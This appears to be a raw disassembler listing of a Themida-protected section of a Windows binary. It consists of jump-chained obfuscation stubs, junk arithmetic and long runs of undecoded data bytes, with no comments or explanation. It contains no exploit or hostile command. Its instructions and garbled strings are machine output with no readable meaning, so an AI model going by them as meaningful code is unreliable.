		dd 964Dh, 81E28952h, 4C2h, 4BB5300h, 1000000h, 6C96E9DAh
		dd 21BE0000h, 811FB213h, 0BEB03FEEh, 10122DCFh,	0E12D3DA4h
		dd 297CDC33h, 33E105F0h, 0B9517CDCh, 5D8F0093h,	0C981D1F7h
		dd 3BDA1E8Ch, 0EFFEF181h, 0C801865Eh, 19E95E59h, 810000B9h
		dd 4C4h, 0EAAE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_543F72:				; CODE XREF: Themida_:0054D0E0j
		xor	edi, 72D52B12h
		jmp	loc_5465F7
; ---------------------------------------------------------------------------

loc_543F7D:				; CODE XREF: Themida_:0054E1B8j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_547DB6
; ---------------------------------------------------------------------------
		db 45h,	4Dh, 81h
		dd 1C5h, 57E58100h, 537D2740h, 0A38BE9h, 68505600h, 5523733h
		dd 8AAEE958h, 4BE0000h,	1000000h, 0B4ECE9F0h, 0EC810000h
		dd 4, 54240489h, 40558h, 2680000h, 89000065h, 9EE92414h
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_543FD3:				; CODE XREF: Themida_:005454BBj
		sub	[edi+24h], edx
		pop	edx

loc_543FD7:				; CODE XREF: Themida_:0054FA3Aj
		push	41F3h
		mov	[esp], edx
		push	eax
		push	ebx
		pop	eax
		push	ecx
		push	eax
		sub	dword ptr [esp], 5F263B65h
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 5F263B65h
		jmp	loc_54CBB6
; ---------------------------------------------------------------------------

loc_543FFF:				; CODE XREF: Themida_:00546B22j
		mov	ecx, esi
		mov	edi, ecx
		jmp	loc_54B174
; ---------------------------------------------------------------------------
		dd 88D78853h, 148B5BFCh, 5F09E924h, 0EB810000h,	0E203BA34h
		dd 815BDA29h, 0AB060DC6h, 81D60141h, 0AB060DEEh, 0B9515A41h
		dd 4E9308C0h, 0BBBF5741h, 814C700Bh, 20C626EFh,	7D06E9D0h
		dd 342C0000h, 8FEE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54404E:				; CODE XREF: Themida_:00546AA6j
		push	esi
		push	459C5AA7h
		pop	esi
		shr	esi, 3
		jmp	loc_54B900
; ---------------------------------------------------------------------------
		db 0BEh, 22h, 79h
		dd 0DEF760F7h, 0A0BE9h
		db 0
; ---------------------------------------------------------------------------

loc_544069:				; CODE XREF: Themida_:00545846j
		push	ebx
		mov	ebx, 3617617Bh
		push	ecx
		push	edx
		mov	edx, 109D3DD0h
		jmp	loc_54A9DB
; ---------------------------------------------------------------------------

loc_54407B:				; CODE XREF: Themida_:0054618Fj
		mov	eax, 4
		sub	ebp, 11B57C83h
		add	ebp, eax
		jmp	loc_54B96B
; ---------------------------------------------------------------------------
		db 0BFh, 6Eh, 44h
		dd 4F4F6718h, 6127BB53h, 0F3817756h, 37AF1251h,	475BDF09h
		dd 522BE952h, 0BF570000h, 5CB5320Eh, 0BC44EF81h, 0F801F18Ch
		dd 81243C8Bh, 4C4h, 51D00100h, 641167B9h, 83D1F752h, 0F18101C1h
		dd 0C6B39B53h, 0DEE955h, 0E9510000h, 0FEh, 24048B66h, 685E5456h
		dd 372h, 0B8240489h, 7BF7095h, 3504E8C1h, 7BF70Dh, 7F4E9h
		db 0
; ---------------------------------------------------------------------------

loc_544101:				; CODE XREF: Themida_:0054C00Aj
		mov	dl, 8Eh
		mov	ah, 0BCh
		sub	ah, dl
		pop	edx
		add	bl, ah
		pop	eax
		add	bl, 96h
		jmp	loc_544CFC
; ---------------------------------------------------------------------------
		db 83h
		dd 0E95004C4h, 470h, 0FF24248Bh, 0E99C240Ch, 0FFFFF7FCh
		dd 2A7AE951h, 0ED800000h, 80F528EFh, 525AEFC5h,	0EA8084B2h
		dd 0CFE280B2h, 3048F280h, 87ADE9D5h, 30FF0000h,	0FFF7D3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_544151:				; CODE XREF: Themida_:0054B67Dj
		push	edx
		mov	dh, 0F6h
		mov	ah, 3Ch
		sub	ah, 0D0h
		add	ah, 8Dh
		jmp	loc_544E46
; ---------------------------------------------------------------------------
aWicsP		db 'W䍎|',0
		db 0
; ---------------------------------------------------------------------------

loc_544169:				; CODE XREF: Themida_:0054DC9Ej
		xchg	eax, [esp]
		pop	esp

loc_54416D:				; CODE XREF: Themida_:0054F56Aj
		push	ebx
		jmp	loc_54B1B0
; ---------------------------------------------------------------------------
		db 81h
		dd 572083F7h, 5FFA0109h, 4EA81h, 25E90000h, 6600003Dh
		dd 5224048Bh, 603168h, 48F5400h, 24048124h, 4, 8B9CE9h
		dd 242C8900h, 5144BB53h, 0C3814746h, 1,	0E904EC83h, 6902h
		dd 0CD4FD2BDh, 5DE8017Fh, 0D22DC829h, 597FCD4Fh, 0A2C0E95Ah
		dd 0BE560000h, 26177D69h, 177D6DBAh, 0FCF1E926h, 4B9FFFFh
		dd 1000000h, 240C8BCEh,	0E95D5455h, 1457h, 0E7E9C788h
		dd 66000096h, 81240C8Bh, 4ECh, 243C8900h, 0A9E95F54h, 8100000Fh
		dd 1A5D26E9h, 87D9F75Fh, 8CE955E9h
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_54421B:				; CODE XREF: Themida_:00549334j
		pop	edx
		shl	ebp, 5
		shl	ebp, 3
		push	3EC8h
		mov	[esp], ebp
		jmp	loc_54FADD
; ---------------------------------------------------------------------------
		db 0ACh
		dd 0F3B25266h, 0E960B353h, 0B49Eh, 28FEEA80h, 24148BD0h
		dd 8104C483h, 2ECh, 1C896600h, 8FB724h,	1C8B66F8h, 0EC835524h
		dd 4D29E904h, 0EB810000h, 8E53AA6h, 0C381C329h,	8E53AA6h
		dd 5BF3BF57h, 0C0E946FEh
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54427B:				; CODE XREF: Themida_:00545D38j
		not	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, 458C60BEh
		sub	edx, edi
		jmp	loc_546242
; ---------------------------------------------------------------------------

loc_54428C:				; CODE XREF: Themida_:0054AFB5j
		shr	ebx, 8
		push	esi
		mov	esi, 134C3E5Bh
		dec	esi
		xor	esi, 2D6A4FE9h
		sub	esi, 3F01D51Eh
		jmp	loc_549080
; ---------------------------------------------------------------------------
aZSnk		db '‡,$é­K',0
		dw 0BE00h
		dd 42DC2FC0h, 0F75EF309h, 1477E9DBh, 88580000h,	0C38059CAh
		dd 80D3000Dh, 8B660DEBh, 0C4812414h, 2,	42F9E9h, 74EB8000h
		dd 0C380CB28h, 0E9596674h, 9F08h, 68243489h, 4F5Ch, 230DE9h
		db 0
; ---------------------------------------------------------------------------

loc_5442F5:				; CODE XREF: Themida_:0054B45Bj
		sub	ebx, 1C7E504Dh
		add	eax, ebx
		jmp	loc_54C502
; ---------------------------------------------------------------------------
		dw 0C388h
		dd 24048B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54EF4A
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 35A90937h, 37E95359h, 81000006h, 257A9F5h, 5DEB0167h
		dd 73C8E9h, 2434FF00h, 0E9545358h, 7272h
; ---------------------------------------------------------------------------

loc_54433C:				; CODE XREF: Themida_:005444A1j
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	[esp+4], esi
		jmp	loc_545CB2
; ---------------------------------------------------------------------------

loc_544356:				; CODE XREF: Themida_:0054EEA5j
		sub	eax, 2780856Ah
		add	ebx, eax
		pop	eax
		jmp	loc_54BEE9
; ---------------------------------------------------------------------------
		db 89h
		dd 4C181E1h, 0E9000000h, 0A20Fh, 7462CD81h, 49E9004Fh
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54437B:				; CODE XREF: Themida_:0054FB64j
		sub	edx, 2
		jmp	loc_545375
; ---------------------------------------------------------------------------

loc_544386:				; CODE XREF: Themida_:00548722j
		add	ebp, 4
		add	ebp, 2
		jmp	loc_54D06C
; ---------------------------------------------------------------------------
		db 0B8h
		dd 34E615A7h, 34FFC201h, 0C4835824h, 7EAFE904h,	0EC810000h
		dd 4, 25ACE9h, 2CF02800h, 148B665Bh, 257E924h, 0E7890000h
		dd 4BB53h, 0DF010000h, 25CEE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5443D2:				; CODE XREF: Themida_:0054EFEDj
		mov	[esp], edx
		push	ecx
		mov	ecx, 52C3766Ch
		push	esi
		push	3B8A5F00h
		pop	esi
		jmp	loc_54DBD7
; ---------------------------------------------------------------------------
		db 53h
		dd 79079CBBh, 5C0FE925h, 81590000h, 3E7946EEh, 0C6015827h
		dd 4E6DE9h, 241C8900h, 0AED7E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54440A:				; CODE XREF: Themida_:0054AEB3j
		pop	dword ptr [esp]
		push	edx
		not	dword ptr [esp]
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_5459CC
; ---------------------------------------------------------------------------
		dd 0E904C483h, 4814h, 3302EF83h, 56E9243Ch, 68000092h
		dd 0F836826h, 8324348Bh, 0EEC104C4h, 0AAC68108h, 8143581Ah
		dd 9491FEC6h, 5EF289F6h, 4277EA81h
dword_544450	dd 0EA817230h, 55D310E9h, 193E9h ; DATA	XREF: ___:off_43CCF4o
		db 0
; ---------------------------------------------------------------------------

loc_54445D:				; CODE XREF: Themida_:0054D5D2j
		push	esi
		push	ecx
		mov	ecx, 266C6C24h
		sub	ecx, 1
		jmp	loc_54F06F
; ---------------------------------------------------------------------------
		dd 0D6F6B3B6h, 0F680CEFEh, 46ED80FDh, 84DAE9h
		db 0
; ---------------------------------------------------------------------------

loc_54447D:				; CODE XREF: Themida_:005450CCj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54D589
; ---------------------------------------------------------------------------

loc_544494:				; CODE XREF: Themida_:00543A33j
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_54433C
; ---------------------------------------------------------------------------
		dw 79E9h
		dd 81FFFFF4h, 8F6ED8C7h, 2E18E915h, 0F8890000h,	0AF92E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5444BE:				; CODE XREF: Themida_:0054AE54j
		push	34BBh
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	edi
		jmp	loc_545CBA
; ---------------------------------------------------------------------------

loc_5444D3:				; CODE XREF: Themida_:00547A06j
		mov	[esp], edi
		mov	edi, 4EAD5430h
		jmp	loc_54D02F
; ---------------------------------------------------------------------------

loc_5444E0:				; CODE XREF: Themida_:0054C635j
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		mov	edi, 2E2D1A6Dh
		jmp	loc_54FC98
; ---------------------------------------------------------------------------
		db 0C1h, 0E6h, 8
		dd 41EE814Eh, 1C686C0h,	57595EF7h, 42474FFh, 83243C8Bh
		dd 48F04C4h, 24248B24h,	0F66F9F6h, 0D2E9CCB6h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54451B:				; CODE XREF: Themida_:0054A775j
		push	ecx
		mov	ecx, 4F8A0DBAh
		jmp	loc_5445CA
; ---------------------------------------------------------------------------

loc_544526:				; CODE XREF: Themida_:00546B39j
		add	ebx, 4FB433C6h
		not	ebx
		inc	ebx
		sub	ebx, 7E75264Fh
		add	edx, 510F164Bh
		sub	edx, ebx
		jmp	loc_54FC8D
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 5B940C6Fh, 4548E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54454E:				; CODE XREF: Themida_:0054C838j
		dec	ebp
		add	ebp, 583937B6h
		sub	ebp, 5A21B7C1h
		xor	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, 46B73D5Fh
		sub	ebx, 30ABFh
		push	ebp
		mov	ebp, 33F218E4h
		jmp	loc_546AB1
; ---------------------------------------------------------------------------
		dw 8159h
		dd 4C1h, 4EC8300h, 0E9241C89h, 76E6h, 405E089h,	83000000h
		dd 48704C0h, 6AE95C24h,	88000016h, 2983E9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5445A6:				; CODE XREF: Themida_:00549478j
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		jmp	loc_54BAE1
; ---------------------------------------------------------------------------
		dw 0E9D0h
		dd 4EC81h, 4890000h, 0A3C5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5445CA:				; CODE XREF: Themida_:00544521j
		or	ebx, ecx
		jmp	loc_54B8DB
; ---------------------------------------------------------------------------
a0ixxsin	db '´0ˆåXéIN',0
		dw 100h
aSsik		db 'èéiK',0
		align 2

loc_5445E2:				; CODE XREF: Themida_:00545489j
		mov	edx, 24h
		add	edx, edi
		xor	ecx, [edx]
		jmp	loc_547792
; ---------------------------------------------------------------------------
		dd 784AE981h, 0D1297FC2h, 784AC181h, 0E95A7FC2h, 9B54h
		dd 0FFF31BE9h, 0C8966FFh, 0B60F6624h, 9C5166C8h, 0FFF30BE9h
		dd 4EC83FFh, 81C0E9h
		db 0
; ---------------------------------------------------------------------------

loc_544621:				; CODE XREF: Themida_:0054C57Ej
		add	esp, 4
		push	4F71h
		mov	[esp], edx
		mov	edx, 5EEE610h
		xor	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		push	2EE6h
		jmp	loc_54EBE1
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 300F6F3Dh, 302FEB81h, 0F38167D0h, 6A14E3Dh, 0D0C38143h
		dd 131618Eh, 0C7815BDFh, 4, 5C243C87h, 3E06857h, 3C8B29F1h
		dd 0E6895624h, 4C681h, 0BA520000h, 4, 94DEE9h
		db 0
; ---------------------------------------------------------------------------

loc_544689:				; CODE XREF: Themida_:00544730j
		mov	ecx, 0FFFFFFFFh
		sub	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_54AE83
; ---------------------------------------------------------------------------

loc_544698:				; CODE XREF: Themida_:0054B853j
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		add	esi, 554D294Ah
		pop	ecx
		sub	esi, 35970D53h
		jmp	loc_544B99
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 80h
		dd 4F0D3732h, 0C549EF81h, 0F9016CAEh, 8BC8315Fh, 8950240Ch
		dd 405E0h, 4050000h, 87000000h,	815C2404h, 4ECh, 241C8900h
		dd 5126BF57h, 895066E0h, 16FE9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5446EE:				; CODE XREF: Themida_:00549567j
		or	eax, 78914A75h
		dec	eax
		sub	eax, 0FDD7DF70h
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54E8B8
; ---------------------------------------------------------------------------
		dw 79BBh
		dd 29AE98F3h, 0F3015BDEh, 51C3015Eh, 873897B9h,	7298E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54471E:				; CODE XREF: Themida_:005439C6j
		mov	eax, esp
		add	eax, 4
		jmp	loc_54A4BC
; ---------------------------------------------------------------------------

loc_54472A:				; CODE XREF: Themida_:00547DB7j
		mov	ebx, 3D8B381Ch
		push	ecx
		jmp	loc_544689
; ---------------------------------------------------------------------------

loc_544735:				; CODE XREF: Themida_:0054E784j
		mov	ecx, 56FB3067h
		and	ecx, 78625C4Eh
		jmp	loc_54C449
; ---------------------------------------------------------------------------

loc_544745:				; CODE XREF: Themida_:005449ADj
		push	ebp
		mov	ebp, esp
		push	esi
		jmp	loc_5479E7
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 4ECh, 24348900h, 0FE5BF3BEh,	0E9F30146h, 1AD8h, 61712CBFh
		dd 268DE90Dh, 0CB010000h, 7891EB81h, 0B0E952FEh
		db 0A9h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_54477B:				; CODE XREF: Themida_:0054FD46j
		push	24h
		jmp	loc_54E82A
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 4C681h, 0E9500000h, 7B1Ah
; ---------------------------------------------------------------------------

loc_544794:				; CODE XREF: Themida_:0054ED34j
		pop	esp
		mov	edx, [esp]
		jmp	loc_547165
; ---------------------------------------------------------------------------
		db 5Ch,	52h, 0BAh
		dd 2BC17F4Eh, 3737E9h, 4C48300h, 0F3895351h, 4075E9h, 24048B00h
		dd 504C483h, 0C76FD28Eh, 478BF57h, 0F7810FE1h, 130E7896h
		dd 33E9DFF7h, 0C100007Bh, 0E68105E6h, 32960A38h, 0A554BB53h
		dd 0DE317325h, 0E9F7295Bh, 1B9Ah, 8852C388h, 0E9F588DEh
		dd 83Dh, 29665F66h, 896659CBh, 3BE9DAh,	0E6890000h, 779FE9h
		db 0
; ---------------------------------------------------------------------------

loc_54480D:				; CODE XREF: Themida_:00548A7Dj
		sub	[edi+24h], eax
		pop	eax

loc_544811:				; CODE XREF: Themida_:00544F43j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, ebx
		mov	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	ecx
		jmp	loc_548F7B
; ---------------------------------------------------------------------------
		dd 89FD8955h, 242C8BEEh, 4C481h, 5CE90000h, 560000ADh
		dd 0FFFBEEE9h, 1665BFFh, 665A66D0h, 664BE468h, 52241C89h
		dd 59C7BA66h, 7CD4BB66h, 9DFBE9h, 0E9C38900h, 2B11h
; ---------------------------------------------------------------------------

loc_544864:				; CODE XREF: Themida_:00547568j
		pop	eax
		push	ecx
		mov	ecx, 14375310h
		add	ecx, 24B401F0h
		and	ecx, 405776DEh
		sub	ecx, 2260139Eh
		shr	ecx, 7
		xor	ecx, 2BEBA775h
		or	edx, ecx
		pop	ecx
		push	27D7h
		mov	[esp], ecx
		mov	ecx, 3ED0EFFFh
		xor	edx, ecx
		jmp	loc_54C063
; ---------------------------------------------------------------------------
		db 29h,	0CBh, 81h
		dd 4D679DEBh, 240C8B0Eh, 4C481h, 0D8310000h, 4EE9555Bh
		dd 88000072h, 582388CCh, 83240C8Bh, 1C8B04C4h, 5360E924h
		dd 0E9550000h, 164Eh, 7D37C781h, 0F8892256h, 24E9h
		db 0
; ---------------------------------------------------------------------------

loc_5448DD:				; CODE XREF: Themida_:0054A227j
		sub	dword ptr [esp], 554D294Ah
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5488F8
; ---------------------------------------------------------------------------
		db 1, 0C6h, 0FFh
a4Xss7s		db '4$XSé7˜',0
		dd 0C7895F00h, 8324048Bh, 50E904C4h, 8B000031h,	0C483241Ch
		dd 4C38104h, 55000000h,	3B098E68h, 0DD875D1Fh, 51DD8743h
		dd 3B098D68h, 8A91E91Fh, 0C1810000h, 76EA2E1Eh,	1040BF57h
		dd 0E78102D2h, 0A550770h, 0E907E7C1h, 7ADh, 30E951h, 9D610000h
		dd 0EFCAE9C3h, 74FFFFFFh, 8F5B0424h, 0FF5C2404h, 34FF2434h
		dd 68505824h, 1735h, 55242489h,	4BDh, 246C0100h, 434EE904h
		dd 9CB10000h, 0C828EF2Ch, 0D1E9EF04h, 310000AEh, 0A82DE9FBh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_544996:				; CODE XREF: Themida_:00546299j
		add	dword ptr [esp+4], 35AF7B7Ah
		sub	[esp+4], ebx
		sub	dword ptr [esp+4], 35AF7B7Ah
		mov	ebx, [esp]
		jmp	loc_544745
; ---------------------------------------------------------------------------

loc_5449B2:				; CODE XREF: Themida_:00544F0Ej
		push	7FA4h
		mov	[esp], esi
		mov	esi, 4
		add	edi, esi
		jmp	loc_54EC72
; ---------------------------------------------------------------------------
		dw 5335h
		dd 3548A15Ah, 674609D7h, 531AC781h, 0C72908D8h,	531AEF81h
		dd 1EE908D8h, 87000021h, 335C2434h, 3C31243Ch, 243C3324h
		dd 95F3E9h
		db 0
; ---------------------------------------------------------------------------

loc_5449F5:				; CODE XREF: Themida_:0054F035j
		push	ecx
		mov	ecx, 0EA66C82h
		mov	esi, 0EA6937Dh
		jmp	loc_549BC4
; ---------------------------------------------------------------------------
		db 42h,	81h, 0CAh
		dd 7FBE3F2Fh, 0EA81DAF7h, 0A1211178h, 0B21FE9h
		db 0
; ---------------------------------------------------------------------------

loc_544A19:				; CODE XREF: Themida_:00549BE7j
		inc	ebp
		xor	ebp, 27EDC000h
		sub	eax, ebp
		pop	ebp
		pop	ecx
		xor	ebx, eax
		jmp	loc_54E4B6
; ---------------------------------------------------------------------------
		db 68h
		dd 39Ah, 0AAEDE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_544A36:				; CODE XREF: Themida_:00543DDEj
		mov	[esp], edx
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_5488A7
; ---------------------------------------------------------------------------

loc_544A45:				; CODE XREF: Themida_:0054A9EAj
		push	ebx
		jmp	loc_54A38C
; ---------------------------------------------------------------------------
		db 83h
		dd 348904ECh, 2BE24h, 0F1010000h, 240C335Eh, 33240C31h
		dd 248B240Ch, 0C8B6624h, 4EC8324h, 0E9243C89h, 7146h, 0DACCE81h
		dd 0EEC17C19h, 5E68103h, 8175941Fh, 9FEF8EC6h, 5EF12951h
		dd 0FFB9E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_544A92:				; CODE XREF: Themida_:00547654j
		push	ebx
		jmp	loc_5467D4
; ---------------------------------------------------------------------------
		dd 16D6685Ch, 24890000h, 24048124h, 4, 5324048Fh, 4BBh
		dd 245C0100h, 3C8B5B04h, 4C48124h, 81000000h, 4C7h, 2C78100h
		dd 33000000h, 3C31243Ch, 243C3324h, 1F5FE95Ch, 47680000h
		dd 8900006Dh, 0E6892434h, 4EC8353h, 0B9240C89h,	596533D6h
		dd 0C7E9D1F7h
		db 9Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_544AF7:				; CODE XREF: Themida_:0054D014j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_54B00F
; ---------------------------------------------------------------------------

loc_544B09:				; CODE XREF: Themida_:0054DEE0j
		add	esp, 4
		push	eax
		jmp	loc_54F105
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0C2h
		dd 3528D518h, 347B3D63h, 0E958C589h, 0FFFFF848h, 0C8BCB29h
		dd 5E545624h, 4C681h, 0C6830000h, 24348704h, 7D55E9h, 17C8BB00h
		dd 0E9560BF8h, 0FFFFF763h, 0E9F8295Fh, 16A9h, 24048B66h
		dd 4F65E953h, 81AD0000h, 4ECh, 243C8900h, 0FFF0B1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_544B6D:				; CODE XREF: Themida_:0054A29Cj
		sub	esi, 4CB90DE5h
		jmp	loc_549AEF
; ---------------------------------------------------------------------------

loc_544B78:				; CODE XREF: Themida_:00549E69j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		neg	edx
		xchg	edx, ecx
		push	esi
		mov	esi, 5B6A160Bh
		add	ecx, esi
		jmp	loc_5451F5
; ---------------------------------------------------------------------------
		dd 0E204D000h, 0ABACE9h
		db 0
; ---------------------------------------------------------------------------

loc_544B99:				; CODE XREF: Themida_:005446ACj
		shr	esi, 6
		dec	esi
		jmp	loc_546486
; ---------------------------------------------------------------------------
		dw 0C683h
		dd 24348702h, 0AB0F665Ch, 0E99C2404h, 6AAEh, 0FFED6BE9h
		dd 255268FFh, 24890000h, 24048124h, 4, 8B2434FFh, 0C483241Ch
		dd 4C48104h, 81000000h,	4C3h, 682F6800h, 2C890000h, 2BD24h
		dd 0C3810000h, 474548DCh, 91B2E9h, 242C8100h, 4ADE09FAh
		dd 8324148Bh, 8A6804C4h, 0E900003Bh, 5843h, 240C8B66h
		dd 33868h, 240C8900h, 8904EC83h, 4812424h, 424h, 6A20E900h
		dd 34FF0000h, 24148B24h, 0A5F4E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_544C36:				; CODE XREF: Themida_:0054898Ej
		or	ebp, ebx
		pop	ebx
		add	ebp, 112F2042h
		add	ebp, 0ADB28022h
		and	edx, ebp
		pop	ebp
		and	edx, 1A510546h
		add	edx, 0E7F00004h
		add	ecx, edx
		jmp	loc_54BACB
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 9A22E9h, 48B6600h, 59545124h, 4C181h, 0E9830000h
		dd 4F1AE904h, 0E9580000h, 0E63h
; ---------------------------------------------------------------------------

loc_544C80:				; CODE XREF: Themida_:0054B29Aj
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_54596B
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8157240Ch, 4ECh, 24248900h, 4EC8351h, 0BA241489h, 535644BCh
		dd 0CDE9D2F7h
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_544CAF:				; CODE XREF: Themida_:00549634j
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_54DB32
; ---------------------------------------------------------------------------
		dd 24048F54h, 6EE95056h
		db 98h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_544CCB:				; CODE XREF: Themida_:0054AB26j
		add	al, 2Fh
		mov	cx, [esp]
		add	esp, 2
		xor	bl, al
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	0BADh
		jmp	loc_54E130
; ---------------------------------------------------------------------------
aSyw		db '^éYW',0
		dw 6600h
		dd 0E0240481h, 0E95D663Bh, 11AAh
; ---------------------------------------------------------------------------

loc_544CFC:				; CODE XREF: Themida_:0054410Ej
		sub	bl, dh
		sub	bl, 96h
		jmp	loc_549BEC
; ---------------------------------------------------------------------------

loc_544D06:				; CODE XREF: Themida_:0054C7C4j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_54CF8A
; ---------------------------------------------------------------------------

loc_544D19:				; CODE XREF: Themida_:0054937Cj
		mov	ebx, 79EF75DBh
		and	ecx, ebx
		pop	ebx
		jmp	loc_54B375
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 50241489h, 0EBEEE99Ch, 665CFFFFh,	9C240431h
		dd 0FFEBE3E9h, 3AB551FFh, 320AE9h, 65EF8100h, 0C1550522h
		dd 79E902EFh, 8BFFFFFBh, 0C4812404h, 4,	2474FF56h, 48F5E04h
		dd 9BB3E924h, 52BE0000h, 813F4728h, 0D87D15C6h,	7EEC114h
		dd 1EC6E9h, 5DE90100h, 0E904E983h, 6752h, 31243C33h, 3C33243Ch
		dd 3260E924h, 0F5010000h, 8324348Bh, 815304C4h,	4ECh, 24048900h
		dd 468h, 0C3895800h, 21ED8158h,	1149F5Bh, 1342E9DDh, 8B540000h
		dd 0C483242Ch, 4C58104h, 50000000h, 2B8h, 35BDE900h, 0EB800000h
		dd 80C30091h, 665191C3h, 0EC76852h, 1C890000h, 0E9ECB324h
		dd 215Dh, 0C581E589h, 4, 4BE56h, 0F5010000h, 242C335Eh
		dd 33242C31h, 10E9242Ch, 6600008Ch, 0E924048Bh,	6FF3h
		dd 0E95BDD89h, 0FFFFF7B7h, 52243C8Bh, 0C281E289h, 4, 70D3E9h
		dd 0B4B75300h, 0E9FC8850h, 7CBEh, 0EDC0E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_544E46:				; CODE XREF: Themida_:0054415Cj
		sub	ah, dh
		sub	ah, 8Dh
		add	ah, 0D0h
		pop	edx
		mov	ch, ah
		jmp	loc_5451C8
; ---------------------------------------------------------------------------
		dw 0BA68h
		dd 8900001Ah, 5954240Ch, 4C181h, 94680000h, 89000006h
		dd 0E952241Ch, 1BABh, 0C9E9C301h, 56000030h, 4D0D1BBEh
		dd 8BF70171h, 0C4832434h, 373DE904h, 4BD0000h, 1000000h
		dd 4E8EE9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_544E9A:				; CODE XREF: Themida_:0054C80Fj
		mov	esp, [esp]
		push	ebx
		mov	ebx, 491928E9h
		jmp	loc_54C8DC
; ---------------------------------------------------------------------------
		dd 40FBE951h, 68550000h, 6FFCh,	24048F54h, 4240483h, 0E9242C8Bh
		dd 3C25h, 0E92C77FFh, 0FFFFEA58h, 0C581E589h, 4, 8704C583h
		dd 575C242Ch, 0C781E789h, 4, 4C781h, 3C870000h,	5402E924h
		dd 66510000h, 665871B9h, 6659CB89h, 1A14E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_544F02:				; CODE XREF: Themida_:0054CBC7j
		sub	edi, 5C404AD2h
		add	ebp, edi
		pop	edi
		add	edi, ebp
		pop	ebp
		jmp	loc_5449B2
; ---------------------------------------------------------------------------
		db 81h
		dd 7D7CB7F3h, 0F3814B1Ah, 270E4A7Eh, 1182E9h, 241C8700h
		dd 4C4835Ch, 63F76866h,	24148966h, 8812B753h, 5B045BFEh
		dd 0FFF474E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_544F41:				; CODE XREF: Themida_:00546B47j
					; DATA XREF: ___:off_435718o
		or	eax, eax
		jz	loc_544811
		push	dword ptr [edi+1Ch]
		jmp	loc_54CD89
; ---------------------------------------------------------------------------

loc_544F51:				; CODE XREF: Themida_:0054A7E6j
		push	edi
		mov	edi, 1903616Eh
		dec	edi
		xor	edi, 1901604Ch
		sub	eax, edi
		jmp	loc_54AA2C
; ---------------------------------------------------------------------------

loc_544F65:				; CODE XREF: Themida_:0054934Bj
		mov	[esp], edx
		mov	edx, 0
		sub	edx, 0CB11F5Eh
		jmp	loc_54B467
; ---------------------------------------------------------------------------
		dd 65437535h, 792D400Dh, 1656989h, 815858C3h, 282973EBh
